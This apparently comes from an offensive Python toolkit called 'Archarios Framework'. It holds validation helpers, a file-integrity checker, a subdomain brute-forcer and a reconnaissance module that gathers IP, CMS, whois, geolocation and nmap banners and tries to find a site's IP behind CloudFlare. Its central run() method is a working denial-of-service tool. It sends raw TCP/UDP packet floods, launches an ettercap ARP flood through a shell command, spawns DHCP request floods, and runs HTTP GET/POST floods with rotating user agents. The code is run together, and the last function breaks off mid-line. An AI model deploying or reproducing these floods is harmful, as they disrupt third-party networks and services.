def test_non_ASCII(self): asciigraphs.ASCIIGraphs().animated_loading_screen( 1, "Testing non-ASCII characters...", 'loading', 0.10) print() try: for char in ('é', 'ú', 'í', 'ó', 'π', 'á', 'đ', '₣', '£', 'ž', 'ç', 'ñ', 'μ'): printer.Printer().print_and_flush('\r' + char) time.sleep(1) except (UnicodeDecodeError): print(error.ErrorClass().ERROR0008()) return 1 else: asciigraphs.ASCIIGraphs().animated_loading_screen( 1, "Another bunch of non-ASCII characters... Emojis!", 'loading', 0.10) print() try: for emoji in ('☺', '😀', '😁', '😂', '😅', '😇', '😉', '😯', '😐', '😑', '😕', '😠', '😬', '😢'): printer.Printer().print_and_flush('\r' + emoji) time.sleep(1) except (UnicodeDecodeError): print(error.ErrorClass().ERROR0008()) return 1 else: return 0
def validate_protocol(self, protocol): printer.Printer().print_with_status("Validating protocol...", 0) if protocol.lower() in ('tcp', 'udp'): return True else: printer.Printer().print_with_status("Invalid protocol! Aborting attack.", 2) return False
def validate_target(self, target, port, attack_mode, protocol): """ def validate_target(): Check if target is valid. """ printer.Printer().print_with_status("Trying to connect to \ ``{0}``...".format(target), 0) if attack_mode.lower() in ('default', 'arp', 'dhcp'): try: conn = self.get_socket_obj(protocol) conn.connect((target, port)) conn.close() except BaseException as err: printer.Printer().print_with_status(str(err), 2) return False else: return True elif attack_mode.lower() in ('web',): print("[01] HTTP") print("[02] HTTPS") print() while True: try: schema = int(input("What schema will we use? > ")) if schema == 1: schema = 'http://' break elif schema == 2: schema = 'https://' break else: continue except(ValueError, TypeError, EOFError, KeyboardInterrupt): continue try: response = requests.get(schema + target + ':' + str(port)) except BaseException as err: printer.Printer().print_with_status(str(err), 2) return False else: # print(response) # DEV0005 return True else: printer.Printer().print_with_status("Unknown attack_mode! Aborting attack.", 2) return False
def validate_port_number(self, port): if type(port) is not int: printer.Printer().print_with_status("Port must be an integer!", 2) return False else: if port < 1 or port > 65535: printer.Printer().print_with_status("Port must be 1~65535 only!", 2) return False else: return True
def hash_file(self, filename): """ def hash_file(): Return the hash of a file. """ try: try: with open(filename, 'r') as fopen: data = fopen.read() except (UnicodeDecodeError): with open(filename, 'rb') as fopen: data = fopen.read() except FileNotFoundError: return 2 except (IOError, EOFError, PermissionError, UnicodeDecodeError): printer.Printer().print_with_status( "Cannot read {0}!".format(filename), 2) return "" else: # This is the only hash function used ;) return hashlib.sha256(str(data).encode()).hexdigest()
def validate_attack_mode(self, attack_mode, packet_size): printer.Printer().print_with_status("Validating attack_mode...", 0) if attack_mode.lower() in ('default', 'arp', 'dhcp', 'web'): if attack_mode.lower() in ('default', 'arp', 'dhcp'): if type(packet_size) is not int: printer.Printer().print_with_status("Invalid packet_size! Aborting attack.", 2) return False if packet_size < 1 or packet_size > 65535: printer.Printer().print_with_status("Invalid packet_size! Aborting attack.", 2) return False else: pass return True else: printer.Printer().print_with_status("Invalid attack_mode! Aborting attack.", 2) return False
def get_socket_obj(self, protocol): """ def get_socket_obj(): Return a socket object to use. """ if protocol.lower() == 'tcp': return socket.socket(socket.AF_INET, socket.SOCK_STREAM) elif protocol.lower() == 'udp': return socket.socket(socket.AF_INET, socket.SOCK_DGRAM) else: printer.Printer().print_with_status("Invalid protocol! Aborting attack.", 2) raise exceptions.InvalidParameterError()
def GenerateFileIntegrityList(self, fil): """ def GenerateFileIntegrityList(): Generate a File Integrity List. """ if fil in self.excluded: return 0 hashed = self.hash_file(fil) try: with open(self.file_integrity_filename, 'a') as fwrite: fwrite.write("{0} :: {1}\n".format(fil, hashed)) except (FileNotFoundError, IOError, EOFError, PermissionError, UnicodeDecodeError): printer.Printer().print_with_status( "Cannot write to {0}!".format(self.file_integrity_list), 2) return 1 else: return 0
def run(self, values): """ def run(): Run the module. """ if '://' in values['target']: values['target'] = values['target'].partition('://')[2] values['target'] = values['target'].partition('/')[0] if values['method'].lower() == 'default': try: ip = gethost.byname(values['target']) error = [ 'Errno', 'Error', 'Err', 'errno', 'error', 'err', 'ERRNO', 'ERROR', 'ERR' ] for err in error: if err in ip: printer.Printer().print_with_status( "An error occured: " + str(ip), 2) return 2 else: continue print(misc.CG + misc.FB + "IP Address of `{0}` is `{1}`.".format( values['target'], ip)) return 0 except (KeyboardInterrupt, EOFError): print(error.ErrorCodes().ERROR0002()) return 1 elif values['method'].lower() == 'subdomain': try: subdomains = ('www', 'mail', 'mail2', 'webmail', 'email', 'direct-connect-mail', 'direct', 'direct-connect', 'cpanel', 'phpmyadmin', 'ftp', 'forum', 'blog', 'm', 'dev', 'record', 'ssl', 'dns', 'help', 'ns', 'ns1', 'ns2', 'ns3', 'ns4', 'irc', 'server', 'status', 'portal', 'beta', 'admin', 'alpha', 'imap', 'smtp', 'test', 'mx', 'mx0', 'remote', 'mx1', 'mailserver', 'server', 'mx2', 'mail1', 'redbusprimarydns', 'redbussecondarydns', 'vpn', 'mx7', 'secure', 'shop', 'cloud', 'mx01', 'api', 'dns1', 'dns2', 'host', 'app', 'support', 'ww1', 'mailin1', 'mailin2', 'pop', 'bbs', 'web', 'r.1', 'r.2', 'r.3', 'owa') result_default_ip = gethost.byname(values['target']) print( "\t[i] Default IP Address: {0}".format(result_default_ip)) except Exception as err: printer.Printer().print_with_status(str(err), 2) return 3 try: hosts_discovery = {} iterator = 0 for sub in subdomains: iterator += 1 asciigraphs.ASCIIGraphs().progress_bar_manual( 'Checking \ for subdomains...', iterator, len(subdomains), 20) subhost = sub + '.' + values['target'] try: result_subhost_ip = gethost.byname(subhost) errors = ['Errno', 'Error', 'error', 'errno'] for error in errors: if error in str(result_subhost_ip): please_continue = True break else: please_continue = False continue if please_continue is True: please_continue = False continue if result_subhost_ip != result_default_ip: hosts_discovery[subhost] = \ misc.CG + str(result_subhost_ip) + misc.END else: hosts_discovery[subhost] = \ misc.CY + str(result_subhost_ip) + misc.END except Exception as err: printer.Printer().print_with_status(str(err), 2) continue print("{0}Results{1}:".format(misc.FB + misc.CR, misc.END)) for result in hosts_discovery: print("\t{0}: {1}".format(result, hosts_discovery[result])) return 0 except Exception as erred: printer.Printer().print_with_status(str(erred), 2) return 4 else: printer.Printer().print_with_status("Unknown method!", 2) return 0
def run(self, values): """ def run(): Run the module. If call is from API, return tuple ``(0, "transcipt")``. tuple[0] is return code, and tuple[1] is transcript of result. """ # NOTE: DEV0004: This is the method you will work on! if self.from_API is True: return (0, [error.ErrorCodes().ERROR0005().split('\n')]) else: if self.validate_attack_mode(values['attack_mode'], values['packet_size']) is False: return 1 if self.validate_protocol(values['protocol']) is False: return 2 if self.validate_port_number(values['port']) is False: return 3 if self.validate_target(values['target'], values['port'], \ values['attack_mode'], values['protocol']) is False: return 4 printer.Printer().print_with_status("Press enter to start attack!", 1) input() printer.Printer().print_with_status("Starting attack!", 0) print(misc.CGR + "[i] Press CTRL+C or CTRL+D to stop attack." + misc.END) if values['attack_mode'].lower() == 'default': while True: try: try: conn = self.get_socket_obj(values['protocol']) conn.connect((values['target'], values['port'])) conn.sendall(random._urandom(values['packet_size'])) time.sleep(values['timeout']) except(KeyboardInterrupt, EOFError): printer.Printer().print_with_status("Attack stopped.", 1) return 0 except BaseException as err: printer.Printer().print_with_status(str(err), 2) except(KeyboardInterrupt, EOFError): printer.Printer().print_with_status("Attack stopped.", 1) return 0 elif values['attack_mode'].lower() == 'arp': try: if os.name == 'nt': printer.Printer().print_with_status("This method is not available on Windows!", 2) return 10 if subprocess.getstatusoutput('which xterm')[0] == 0: if subprocess.getstatusoutput('which ettercap')[0] == 0: pass else: printer.Printer().print_with_status("Ettercap not installed!", 2) return 6 else: printer.Printer().print_with_status("xterm not installed!", 2) return 7 interface = input("Enter interface name for {0} \ (e.g. eth0): ".format(values['target'])) router_ip = input("Enter router's IP Address: ") try: arpflood_command = "xterm -e ettercap -i {0} -Tq -P rand_flood /{1}// /{2}//".format( interface, router_ip, values['target']) subprocess.Popen(arpflood_command, stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=True) printer.Printer().print_with_status("Press enter or CTRL+C \ to stop attack.", 0) misc.ProgramFunctions().pause() raise KeyboardInterrupt except Exception as err: printer.Printer().print_with_status(str(err), 2) return 8 except(KeyboardInterrupt, EOFError): printer.Printer().print_with_status("Attack stopped.", 1) result = subprocess.getstatusoutput('killall ettercap') if result[0] == 0: return 0 else: printer.Printer().print_with_status("Cannot kill ettercap! \ Please manually kill ettercap by typing `killall ettercap` in your terminal.", 1) return 0 elif values['attack_mode'].lower() == 'dhcp': last = values['packet_size'] threads = [] try: if last != 0: for i in range(0, last): DHCPr = DHCPRequest(values['target'], i + 2) DHCPr.start() threads.append(DHCPr) else: i = 2 while True: DHCPr = DHCPRequest(values['target'], i) DHCPr.start() threads.append(DHCPr) i += 1 except(KeyboardInterrupt, EOFError): for thread in threads: thread.join() printer.Printer().print_with_status("Attack stopped.", 1) return 0 elif values['attack_mode'].lower() == 'web': print("[01] HTTP") print("[02] HTTPS") print() while True: try: schema = int(input("What schema will we use? > ")) if schema == 1: schema = 'http://' break elif schema == 2: schema = 'https://' break else: continue except(ValueError, TypeError, EOFError, KeyboardInterrupt): continue try: print("Trying to connect to {0}{1}:{2}".format(schema, values['target'], values['port'])) response = requests.get("{0}{1}:{2}".format(schema, values['target'], values['port'])) if response.status_code == 200: pass else: printer.Printer().print_with_status(error.ErrorClass().ERROR0006(), 1) time.sleep(3) print("Response Code: {0}".format(str(response.status_code))) except BaseException as err: printer.Printer().print_with_status(str(err), 2) return 9 print("[01] HTTP GET attack") print("[02] HTTP POST attack") print("[03] HTTP GET/POST attack") print("\nNOTE: When using attacks with POST, URL must handle POSTS.") print("Otherwise, it will not be effective. (Example: `http://localhost/target.php`)\n") http_get_mode = False http_post_mode = False while True: try: http_flood_mode = int(input("What technique will we use? > ")) if http_flood_mode == 1: http_get_mode = True break elif http_flood_mode == 2: http_post_mode = True break elif http_flood_mode == 3: http_get_mode = True http_post_mode = True break else: continue except(ValueError, TypeError, EOFError, KeyboardInterrupt): continue while True: try: # https://kb.mazebolt.com/knowledgebase/https-flood-with-browser-emulation/ # https://kb.mazebolt.com/knowledgebase/https-flood-with-browser-emulation/ # Browse like a spider... browser_emulation = input("Enable Browser Emulation? (y/n) > ") if browser_emulation.lower() == 'y': browser_emulation = True break elif browser_emulation.lower() == 'n': browser_emulation = False break else: continue except(ValueError, TypeError, EOFError, KeyboardInterrupt): continue headers = {"user-agent": ""} with open("data/user_agents.txt", 'r') as ua: uas = ua.readlines() headers["user-agent"] = uas[random.randint(0, len(uas) - 1)].replace('\n', '') slashes = 0 for targ in values['target']: # print(slashes) # DEV0005 if targ == '/': slashes += 1 else: pass while True: if slashes == 2: final_target = "{0}{1}:{2}".format(schema, values['target'], values['port']) else: final_target = "{0}{1}:{2}/{3}".format(schema, values['target'].partition('/')[0], values['port'], values['target'].partition('/')[2]) # print(final_target) printer.Printer().print_with_status("Starting Attack...", 0) printer.Printer().print_with_status("Press CTRL+C or CTRL+D to abort...", 1) if http_get_mode is True and http_post_mode is False: connection_stable = True while True: try: headers["user-agent"] = uas[random.randint(0, len(uas) - 1)].replace('\n', '') # print(headers["user-agent"]) # DEV0005 try: recv = requests.get(final_target, headers=headers) except(requests.exceptions.ConnectionError): printer.Printer().print_with_status("An existing connection was forcibly closed by the remote host. The host may be down.", 2) connection_stable = False continue except(KeyboardInterrupt, EOFError): printer.Printer().print_with_status("Aborting...", 1) return 0 else: if connection_stable is False: printer.Printer().print_with_status("We are now connected!", 0) connection_stable = True finally: time.sleep(values['timeout']) except(KeyboardInterrupt, EOFError): printer.Printer().print_with_status("Aborting...", 1) return 0 elif http_get_mode is False and http_post_mode is True: connection_stable = True headers["content-type"] = "form-data" # 1.Get page data # 2.Find form # 3.Flood POST try: resp = requests.get(final_target, headers=headers) except: traceback.print_exc() return 20 soup = BeautifulSoup(resp.text, 'html.parser') form = soup.find(name='form', action=re.compile(r'OrgShortNm')) print(form, '\n', type(form)) return 0 payload = {} while True: try: headers["user-agent"] = uas[random.randint(0, len(uas) - 1)].replace('\n', '') # print(headers["user-agent"]) # DEV0005 try: recv = requests.post(final_target, headers=headers, data=payload) except(requests.exceptions.ConnectionError): printer.Printer().print_with_status("An existing connection was forcibly closed by the remote host. The host may be down.", 2) connection_stable = False continue except(KeyboardInterrupt, EOFError): printer.Printer().print_with_status("Aborting...", 1) return 0 else: if connection_stable is False: printer.Printer().print_with_status("We are now connected!", 0) connection_stable = True finally: time.sleep(values['timeout']) except(KeyboardInterrupt, EOFError): printer.Printer().print_with_status("Aborting...", 1) return 0 else: printer.Printer().print_with_status("Invalid attack_mode!", 2) return 5
def run(self, values): """ def run(): Run the module. """ if self.from_API is True: return ((7, "Cannot use ReconMe when called from API.")) global error # Step 1: Check if http:// or https:// is not present in values['target']. if 'http://' not in values['target'] and 'https://' not in values[ 'target']: print("No schema supplied, using http:// instead...") values['target'] = 'http://' + values['target'] # Step 2: Check if there is stable connection between user and target. try: print("[i] Checking connection between you and {0}...".format( values['target'])) requests.get(values['target'], timeout=values['timeout']) except (ConnectionResetError, ConnectionError, requests.ConnectionError): printer.Printer().print_with_status(error.ErrorClass().ERROR0006(), 2) print("[?] Maybe {0} is not a web server?".format( values['target'])) # FIXME: DEV0001: What if target is not a web server? # print("[i] Trying to contact via DNS...") # gethost.byname(values['target'].partition('://')[2].partition('/')[0]) return 1 except Exception as err: printer.Printer().print_with_status(str(err), 2) return 2 # Step 3: Get site title if values['get_site_title'] is True: print("[i] Getting site title...") try: request_title = requests.get( values['target'], headers={'headers': values['user_agent']}, timeout=values['timeout']) al = request_title.text result_site_title = al[al.find('<title>') + 7:al.find('</title>')] if len(result_site_title) > 500: result_site_title = "[Cannot get site title]" except Exception as err: printer.Printer().print_with_status( "Oh crap! We lost connection to `{0}`!".format( values['target']), 2) return 3 else: print("[i] get_site_title is false, now skipping...") result_site_title = "" # Step 4: Get IP Address if values['get_ip_address'] is True: print("[i] Getting External IP Address of target...") result_ip_address = gethost.byname( values['target'].partition('://')[2].partition('/')[0]) else: print("[i] get_ip_address is false, now skipping...") result_ip_address = "" # Step 5: Get CMS name. if values['get_cms'] is True: print("[i] Getting CMS name...") result_cms = requests.get( 'https://whatcms.org/APIEndpoint/Detect?key={0}&url={1}'. format(values['api_key'], values['target'])).text # What a dirty work... result_cms = eval(result_cms.replace('":null', '":None')) if int(result_cms['result']['code']) != 200: print( "[i] Cannot get CMS information, server returned HTTP code {0}." .format(str(result_cms['result']['code']))) if int(result_cms['result']['code']) == 0: print("\t[i] A server failure occured.") elif int(result_cms['result']['code']) == 100: print("\t[i] The API key is not set.") elif int(result_cms['result']['code']) == 101: print("\t[i] The API key is invalid.") elif int(result_cms['result']['code']) == 102: print("\t[i] Your request is not authenticated.") elif int(result_cms['result']['code']) == 110: print("\t[i] The URL is not set.") elif int(result_cms['result']['code']) == 111: print("\t[i] The URL is invalid.") elif int(result_cms['result']['code']) == 112: print("\t[i] There is a missing required parameter.") elif int(result_cms['result']['code']) == 113: print("\t[i] There is an invalid required parameter.") elif int(result_cms['result']['code']) == 120: print( "\t[i] There are too many requests using this API key. Please create your own API key by registering to ``whatcms.org``." ) elif int(result_cms['result']['code']) == 121: print( "\t[i] This API key exceeded the monthly quota. Please wait for the next month or create your own API key by registering to ``whatcms.org``." ) elif int(result_cms['result']['code']) == 123: print( "\t[i] This API key violated the Terms and Conditions." ) elif int(result_cms['result']['code']) == 201: print("\t[i] Cannot determine CMS/Host.") elif int(result_cms['result']['code']) == 202: print("\t[i] The requested URL is unavailable.") else: pass result_cms_name = result_cms['result']['name'] result_cms_version = result_cms['result']['version'] result_cms_confidence = result_cms['result']['confidence'] if type(result_cms['result']['cms_url']) is str: result_cms_url = result_cms['result']['cms_url'].replace( '\\', '') else: result_cms_url = "N/A" if result_cms_version is None: result_cms_version = "Cannot determine CMS version" else: print("[i] get_cms is false, now skipping...") result_cms_name = "" result_cms_version = "" result_cms_confidence = "low" result_cms_url = "" # Step 6: Try to resolve IP from subdomain. target_site = values['target'].partition('://')[2].partition('/')[0] if values['cloudflare_resolve'] is True: print("[i] Checking if we are getting blocked by CloudFlare.") try: request_title = requests.get( values['target'], headers={'headers': values['user_agent']}, timeout=values['timeout']) al = request_title.text check_cloudflare = al[al.find('<title>') + 7:al.find('</title>')] if "used CloudFlare to restrict access</title>" in check_cloudflare: print("[i] {0} is protected by CloudFlare.".format( values['target'])) result_cloudflare_protected = True else: print("[i] {0} is not protected by CloudFlare.".format( values['target'])) result_cloudflare_protected = False print("[i] Trying to resolve IP from subdomains...") try: subdomains = ('www', 'mail', 'mail2', 'webmail', 'email', 'direct-connect-mail', 'direct', 'direct-connect', 'cpanel', 'phpmyadmin', 'ftp', 'forum', 'blog', 'm', 'dev', 'record', 'ssl', 'dns', 'help', 'ns', 'ns1', 'ns2', 'ns3', 'ns4', 'irc', 'server', 'status', 'portal', 'beta', 'admin', 'alpha', 'imap', 'smtp', 'test', 'mx', 'mx0', 'remote', 'mx1', 'mailserver', 'server', 'mx2', 'mail1', 'redbusprimarydns', 'redbussecondarydns', 'vpn', 'mx7', 'secure', 'shop', 'cloud', 'mx01', 'api', 'dns1', 'dns2', 'host', 'app', 'support', 'ww1', 'mailin1', 'mailin2', 'pop', 'bbs', 'web', 'r.1', 'r.2', 'r.3', 'owa') print("[i] Getting default IP address...") result_default_ip = gethost.byname(target_site) print("\t[i] Default IP Address: {0}".format( result_default_ip)) except Exception as err: printer.Printer().print_with_status(str(err), 2) hosts_discovery_f = {} hosts_discovery_u = {} hosts_discovery_s = {} iterator = 0 for sub in subdomains: iterator += 1 asciigraphs.ASCIIGraphs().progress_bar_manual( 'Checking \ for subdomains...', iterator, len(subdomains), 20) subhost = sub + '.' + target_site try: result_subhost_ip = gethost.byname(subhost) errors = ['Errno', 'Error', 'error', 'errno'] for error in errors: if error in str(result_subhost_ip): hosts_discovery_f[subhost] = \ str("[Hostname does not exist]") + misc.END please_continue = True break else: please_continue = False continue if please_continue is True: please_continue = False continue if result_subhost_ip != result_default_ip: hosts_discovery_u[subhost] = \ str(result_subhost_ip) + misc.END continue else: hosts_discovery_s[subhost] = \ str(result_subhost_ip) + misc.END continue except Exception as err: printer.Printer().print_with_status(str(err), 2) continue except Exception as erred: printer.Printer().print_with_status(str(erred), 2) return 7 else: result_cloudflare_protected = "N/A" result_default_ip = result_ip_address hosts_discovery_f = [] hosts_discovery_u = [] hosts_discovery_s = [] # Step 7: Get robots.txt file. if values['get_robots'] is True: print("[i] Getting robots.txt file from {0}...".format( values['target'])) try: request_robots = requests.get( values['target'] + '/robots.txt', headers={'headers': values['user_agent']}, timeout=values['timeout']) robots_data = request_robots.text got_robots = True except ImportError: pass else: print("[i] get_robots is false, now skipping...") robots_data = None got_robots = False # Step 8: Get whois information. if values['whois'] is True: print("[i] Getting whois information...") try: whois_result = whois.query(target_site) except Exception as whoiserror: printer.Printer().print_with_status(str(whoiserror), 2) whois_result = None else: print("[i] whois is false, now skipping...") whois_result = None # Step 9: Get geolocation from IP. if values['geoip'] is True: print("[i] Getting geolocation of {0}.".format(values['target'])) try: geoip_results = requests.get("https://\ api.hackertarget.com/geoip/?q={0}".format(target_site)).text geoip_results = geoip_results.split('\n') except Exception as geoiperror: printer.Printer().print_with_status(str(geoiperror), 2) geoip_results = None else: geoip_result = {} for res in geoip_results: res = res.partition(': ') geoip_result[res[0].lower()] = res[2] # print(geoip_result, type(geoip_result)) # DEV0005 else: print("[i] geoip is false, now skipping...") geoip_result = None # Step 10: Grab banners. if values['grab_banners'] is True: print("[i] Grabbing banners... This may take a while.") try: result_grabbanners = subprocess.getstatusoutput("nmap \ -sV -p21,22,25,80,110 --script=banner {0}".format(target_site)) if result_grabbanners[0] == 0: pass else: printer.Printer().print_with_status( "Please install `nmap` first before using the `grab_banners` feature.", 1) result_grabbanners = [999, ""] except Exception as error: printer.Printer().print_with_status(str(error), 2) result_grabbanners = "An error occured." else: print("[i] grab_banners is false, now skipping...") result_grabbanners = [999, ""] # Step 11: DNS Lookup. if values['dns_lookup'] is True: print("[i] Performing DNS Lookup") try: result_dnslookup = requests.get( "https://api.hackertarget.com/dnslookup/?q={0}".format( target_site)).text except Exception as dnslerr: printer.Printer().print_with_status(str(dnslerr), 2) result_dnslookup = "An error occured." else: print("[i] dns_lookup is false, now skipping...") result_dnslookup = "" # Step 12: Subnet Calculation if values['subnet_calc'] is True: print("[i] Performing Subnet calculation/lookup...") try: result_subnetcalc = requests.get( "https://api.hackertarget.com/subnetcalc/?q={0}".format( target_site)).text except Exception as ec: printer.Printer().print_with_status(str(ec), 2) result_subnetcalc = "An error occured." else: print("[i] subnet_calc is false, now skipping...") result_subnetcalc = "" # Step 13: Search for subdomains if values['subdomain'] is True: print("[i] Searching for subdomains... This may take a while.") try: with open("data/subdomains.lst", 'r') as fopen: subs = fopen.readlines() iterate = 0 result_subdomain = [] for sub in subs: iterate += 1 asciigraphs.ASCIIGraphs().progress_bar_manual( "Searching for subdomains...", iterate, len(subs), 20) sub = sub.replace('\n', '') subres = gethost.byname(sub + '.' + target_site) result_subdomain.append("{0}: {1}".format( sub + '.' + target_site, subres)) except Exception as erred: printer.Printer().print_with_status(str(erred), 2) result_subdomain = [] else: print("[i] subdomain is false, now skipping...") result_subdomain = [] # Step 14: Perform Reverse IP Lookup if values['reverse_ip_lookup'] is True: print("[i] Performing reverse IP lookup...") try: result_reverseIP = requests.get("https://api.hackertarget.\ com/reverseiplookup/?q={0}".format(target_site)).text except Exception as revIPerr: printer.Printer().print_with_status(str(revIPerr), 2) result_reverseIP = "An error occured." else: print("[i] reverse_ip_lookup is false, now skipping...") result_reverseIP = "" # Step 15: Print the results. print(misc.FB + misc.CC + \ "Results for `{0}`:".format(values['target']) + misc.END) print() print(misc.CG + "Site Title:" + misc.END, result_site_title) print(misc.CG + "IP Address:" + misc.END, result_ip_address) print(misc.CG + "CMS Name:" + misc.END, result_cms_name, "\t(with", result_cms_confidence, "confidence)") print(misc.CG + "CMS Version:" + misc.END, result_cms_version) print(misc.CY + "\t[i] More information about the CMS:" + misc.END, result_cms_url) print(misc.CG + "Cloudflare Protection:" + misc.END, result_cloudflare_protected) print(misc.CG + "Default IP Address:" + misc.END, result_default_ip) for failed_host_discovery in hosts_discovery_f: print('\t' + misc.CR + failed_host_discovery, ':', hosts_discovery_f[failed_host_discovery] + misc.END) for so_close_host_discovery in hosts_discovery_u: print('\t' + misc.CY + so_close_host_discovery, ':', hosts_discovery_u[so_close_host_discovery] + misc.END) for success_host_discovery in hosts_discovery_s: print('\t' + misc.CG + success_host_discovery, ':', hosts_discovery_s[success_host_discovery] + misc.END) print() if whois_result is None: pass else: print(misc.CG + "Whois Information:" + misc.END) print(misc.CY + "\tExpiration Date:" + misc.END, whois_result.expiration_date) print(misc.CY + "\tLast Updated:" + misc.END, whois_result.last_updated) print(misc.CY + "\tRegistrar:" + misc.END, whois_result.registrar) print(misc.CY + "\tName:" + misc.END, whois_result.name) print(misc.CY + "\tCreation Date:" + misc.END, whois_result.creation_date) print() if got_robots is True: try: if misc.ProgramFunctions().path_exists( 'output/{0}_robots.txt'.format(target_site)): filename = target_site + '-1' else: filename = target_site with open('output/{0}_robots.txt'.format(filename), 'a') as fopen: fopen.write("# Produced by ReconMe, a module from \ Archarios Framework\n\n" + robots_data) except (IOError): print(misc.CR + "There was a problem writing to the robots.txt file." + \ misc.END) return 9 else: print(misc.CG + "Robots.txt file saved to `output/{0}_robots.txt`\ .".format(filename)) else: pass if values['geoip'] is True: print(misc.CG + "Whois Information:" + misc.END) print(misc.CY + "\tCountry:" + misc.END, geoip_result['country']) print(misc.CY + "\tState:" + misc.END, geoip_result['state']) print(misc.CY + "\tCity:" + misc.END, geoip_result['city']) print(misc.CY + "\tLatitude:" + misc.END, geoip_result['latitude']) print(misc.CY + "\tLongitude:" + misc.END, geoip_result['longitude']) else: pass print() print(misc.CG + "Banners:" + misc.END) print(result_grabbanners[1]) print() print(misc.CG + "DNS Lookup Result:" + misc.END) print(result_dnslookup) print() print(misc.CG + "Subnet Calculation/Lookup Result:" + misc.END) print(result_subnetcalc) print() if values['subdomain'] is True: if misc.ProgramFunctions().path_exists( 'output/{0}_subdomains.txt'.format(target_site)): filename = target_site + '-1' else: filename = target_site try: with open('output/{0}_subdomains.txt'.format(filename), 'a') as fopen: for sub in result_subdomain: fopen.write(sub + '\n') except Exception as error: print( misc.CR + "Failed to save subdomains to `output/{0}_subdomains.txt`." .format(filename)) else: print( misc.CG + "Subdomains.txt file saved to `output/{0}_subdomains.txt`." .format(filename)) else: pass print() print(misc.CG + "Reverse IP Lookup Result:" + misc.END) print(result_reverseIP) print() return 0
def FileIntegrityTest(self, exclude_list=[], gen_no_test=False): """ def FileIntegrityTest(): Perform a file integrity test. :param gen_no_test: True, if you want to generate list but no test. :type bool: """ # Check if integrity list exists. if not os.path.exists( self.file_integrity_filename) and not os.path.isfile( self.file_integrity_filename): printer.Printer().print_with_status( "Generating Data Integrity List...", 0) with open(self.file_integrity_filename, 'w') as fwrite: fwrite.write('') self.GenerateFileIntegrityList(self.main_module) for fil in self.core_modules: fil = 'core/' + fil if os.path.isfile(fil): self.GenerateFileIntegrityList(fil) for fil in self.data_files: fil = 'data/' + fil if os.path.isfile(fil): self.GenerateFileIntegrityList(fil) for fil in self.third_party_modules: fil = 'modules/' + fil if os.path.isfile(fil): self.GenerateFileIntegrityList(fil) for fil in self.output_files: fil = 'output/' + fil if os.path.isfile(fil): self.GenerateFileIntegrityList(fil) for fil in self.static_files: fil = 'static/' + fil if os.path.isfile(fil): self.GenerateFileIntegrityList(fil) for fil in self.template_files: fil = 'templates/' + fil if os.path.isfile(fil): self.GenerateFileIntegrityList(fil) printer.Printer().print_with_status( "Data Integrity List generated!", 0) return "True string" # Return a "special boolean" Whahaha # Check if user just wants to generate list. if gen_no_test is True: return True try: with open(self.file_integrity_filename, 'r') as fread: integrity_list = fread.readlines() except (FileNotFoundError, IOError, EOFError, PermissionError, UnicodeDecodeError): printer.Printer().print_with_status( "Cannot read {0}!".format(self.file_integrity_list), 2) return False else: good = 0 erred = 0 notfound = 0 mismatch = 0 lostfiles = [] mismatched = {} ask_user4input = False for pair in integrity_list: #print(integrity_list) # DEV0005: For debugging purposes only #print(pair) # DEV0005: For debugging purposes only pair = pair.split('\n') pair = pair[0].partition(' :: ') #print(exclude_list) # DEV0005: For debugging purposes only if pair[0] in exclude_list: continue new_hash = self.hash_file(pair[0]) if str(pair[2]).upper() == str(new_hash).upper(): printer.Printer().print_with_status( "The hash of {0} matched the \ checksum.".format(pair[0]), 0) good += 1 elif new_hash == 1: printer.Printer().print_with_status( "An error occured while calculating \ checksum for {0}.".format(pair[0]), 2) erred += 1 elif new_hash == 2: printer.Printer().print_with_status( "{0} was not found!".format(pair[0]), 2) notfound += 1 lostfiles.append(str(pair[0])) else: printer.Printer().print_with_status( "The hash of {0} doesn't match the \ checksum!".format(pair[0]), 1) mismatch += 1 mismatched[pair[0]] = [pair[2].upper(), new_hash.upper()] time.sleep(0.10) if (erred + notfound + mismatch) != 0: print() printer.Printer().print_with_status("Errors found!", 1) print() if notfound != 0: print() for lost in lostfiles: print("`{0}` was missing from the directory tree.".format( lost)) print() ask_user4input = True if mismatch != 0: print() for missed in mismatched: print( "Filename: {0} | Old Hash: {1} | New Hash: {2}".format( missed, mismatched[missed][0], mismatched[missed][1])) print() ask_user4input = True if ask_user4input is True: while True: try: ask_user = input("Do you want to continue? (y/n) > ") if ask_user.lower() == 'y': return True elif ask_user.lower() == 'n': return False else: continue except (TypeError, ValueError, EOFError, KeyboardInterrupt): continue else: print() printer.Printer().print_with_status("No errors found!", 0) return True
def run(self, values): """ def run(): Run the module. """ if values['target'] == "": print("Please enter a website to scan!") return 1 else: if values['mode'] == 0: pass elif values['mode'] == 1: self.request_mode(values) else: printer.Printer().print_with_status("Unknown discovery mode!", 2) return 3 # Test for connection. test = gethost.byname(values['target'].replace('.*.', '').replace( '.*', '').replace('*.', '').replace('*', '')) if self.check_result(test) == "Passed": pass else: printer.Printer().print_with_status( error.ErrorClass().ERROR0006(), 2) # Open the wordlist. try: with open(values['wordlist'], 'r') as fopen: subdomains = fopen.readlines() except (IOError, FileNotFoundError, EOFError, PermissionError): print( "Cannot open `{0}`! Please make sure that the file exists\ and you arr permitted to read the file.") return 1 else: # Set the wordlist. i = 0 result = [] while i < len(subdomains): if subdomains[i].endswith('\n'): subdomains[i] = subdomains[i][::-1] subdomains[i] = subdomains[i].partition('\n')[2] subdomains[i] = subdomains[i][::-1] try: printer.Printer().print_with_status( "Testing {0}....".format(values['target'].replace( '*', subdomains[i])), 0) result.append( gethost.byname(values['target'].replace( '*', subdomains[i]))) except (KeyboardInterrupt, EOFError): return 2 finally: i += 1 # Print results i = 0 bgcolor = misc.CGR while i < len(subdomains): try: sub2print = subdomains[i] res2print = result[i] if self.check_result(res2print) == "Passed": print("{2}{0} :: {1}{3}".format( values['target'].replace('*', sub2print), res2print, bgcolor, misc.END)) else: pass except (KeyboardInterrupt, EOFError): pass finally: i += 1 if bgcolor == misc.END: bgcolor = misc.CGR else: bgcolor = misc.END print() while True: try: ask_user = input("Do you want to \ send the result to a file? (y/n) > ") except (KeyboardInterrupt, EOFError): continue else: if ask_user.lower() == 'y': try: outfile = input("Output filename: ") except (KeyboardInterrupt, EOFError): pass else: try: with open("output/{0}".format(outfile), 'w') as f: f.write('') with open("output/{0}".format(outfile), 'a') as f: i = 0 while i < len(subdomains): try: f.write('{0} :: {1}\ \n'.format(values['target'].replace('*', subdomains[i]), result[i])) except (IOError, FileNotFoundError, EOFError, UnicodeDecodeError): pass finally: i += 1 except (IOError, FileNotFoundError, EOFError, UnicodeDecodeError): printer.Printer().print_with_status( "Cannot 